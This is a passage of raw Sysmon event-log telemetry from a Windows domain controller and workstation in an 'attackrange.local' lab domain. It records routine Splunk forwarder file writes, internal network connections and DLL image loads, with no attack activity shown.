10341000x800000000000000057900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000057930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:06.332{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C60718ED93F3F014C0E88160A645A598,SHA256=F47DA8E4F2E923E254C8F91A35E514B9006E7DF0231A880672D8BB4A442CC404,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018627Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:06.159{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27CE3EB17476C361C98838C2BA9E146D,SHA256=6D0279DB4E5432776B9500EB7D05F907BAC7043DDA7E3E83B0667BF08C05119F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.509{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63222-false10.0.1.12-8000- 23542300x800000000000000057931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:07.566{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F918BE603C9D369A1C3D23DC183159F5,SHA256=2C24CFA0ED248B5879BE0BE1923F02E436000EB25BDC22B812DA21F497D82E82,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018629Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:07.159{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C828A718736C935BF2E0D13B719308B8,SHA256=EF36AD40506775B2EF60177C42F8B7892DD36BED919D88A13936DF6A5E9A26C1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018628Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:05.384{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50440-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000057933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:08.629{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FF5F6A715BB9F8257473FB77E7CFE5EF,SHA256=9327888610C76F0603455D7CEBB9808C826FF5E791A57AE5F670E935A94AEB71,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018630Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:08.175{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16BE048604D237CF1DC4B7EFCC20F82B,SHA256=EB79C70AAB43CEAF4BABFAA1B099A30ACE595B29EE54CD87A15FE082AB2DFEE8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:09.754{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=277164B84557A1333346C879B6756866,SHA256=171887780D0C8927463A96970E08670BA93EE4685532A39551AF7259BE453709,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018631Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:09.175{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9217355718F57AB662F69C5365A4A08F,SHA256=C2E3B266434F5F8C2209046ED34F74F844F4197F0A60313AAFDA082622348882,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:10.925{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CD7E2DB3A6409FEACE032DF9E982E880,SHA256=562329B640EA3FC8302A06D2ED97AC33532E511F763F61A4E600AB03FC1DCFD0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018632Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:10.175{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6AD6C6ED9A1D5C75001F12465DE014F6,SHA256=D328CEF9EF0D60387CE06648E11118221737FB15FC93E1C11D7BAA504DCC8D9D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018633Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:11.190{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1BB445DAB7411AEF912E853B41A19EA9,SHA256=8AEF28EBA5BBB5A39D2A15A8B14C76286BD679AD5C02253991CDB0254EB64350,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018635Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:10.493{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50441-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018634Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:12.205{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=282881570E7A18DF55427715451A1644,SHA256=4F77C4F7A07C38805CA447883AAB1BE9F2A27BB07B703AA5547D61DB319CD000,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:12.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=34FA2D6682FDE5AC0961F6ADF1A16962,SHA256=23AB846D19666AAA23BA3A18AFB1BCE9A3E3C54691FEBD7FEFFC55CE8591F56D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018636Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:13.205{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5ECE222979BB4E3A396A7085780149D1,SHA256=208ED8858935B83A63ADC2B173CBA24A68EFDA40B511EACEDA6B33C511014C1B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:11.289{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63223-false10.0.1.12-8000- 23542300x800000000000000057937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:13.065{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=03E5DF71A2400D45E9CD93515C6DFBB6,SHA256=4381CF41048FFDC6AE0E3C069C04FADDE2826F4EDB1F181040378A894D8C5E6F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:14.081{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18D8723859C2676F14790407238A105B,SHA256=A3D79268736F78AB612408348C70C58AABB7239A1031F46452D5F2F9CD956730,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018637Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:14.220{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B3919AD6375B6F0D74E0C2891C6CD4E,SHA256=40848C27CA4AA826A1EF3BC45F5F169730193710272D95C3D1EE2180F314E14F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:15.159{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9447EA281771ACFDA1C7A9FF486F0962,SHA256=C6DED082A70F462336EF9748C36CB455C4295B711B189FB0F82DE8A2CF8F0D88,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018638Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:15.236{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=02E306665E7A78252212AF3211137CFE,SHA256=505BF1A1CE41A0C13AE17EE79E003C09358BE6EEAB1B06FA81BDEF49B858BD86,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:16.346{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D1B676F63A223210CDB461D423C2D54,SHA256=FA29FDC0CF3742067E16BBE0CDF532BC064A1530027B04D8428013A273001C86,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018639Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:16.236{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=214AF6050E551B1563F3E4C1594A765F,SHA256=16FFA77F3FC87746BC29DB6282993EE41072AC8AD6A99906825EDE89F78218E8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018641Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:16.414{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50442-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018640Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:17.252{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A77CBA8AED93BD4E89D1ED57088D65C1,SHA256=9177E5E3D05438F1A3233B0AD7EEAF3E4CB14360389697F5D81E64176F5BDB3B,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000058048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.972{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000058047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.972{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000058046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.972{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000058045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000058044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000058043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000058042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000058041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000058040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000058039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000058038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.799{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000058037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000058036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000058035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000058032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft 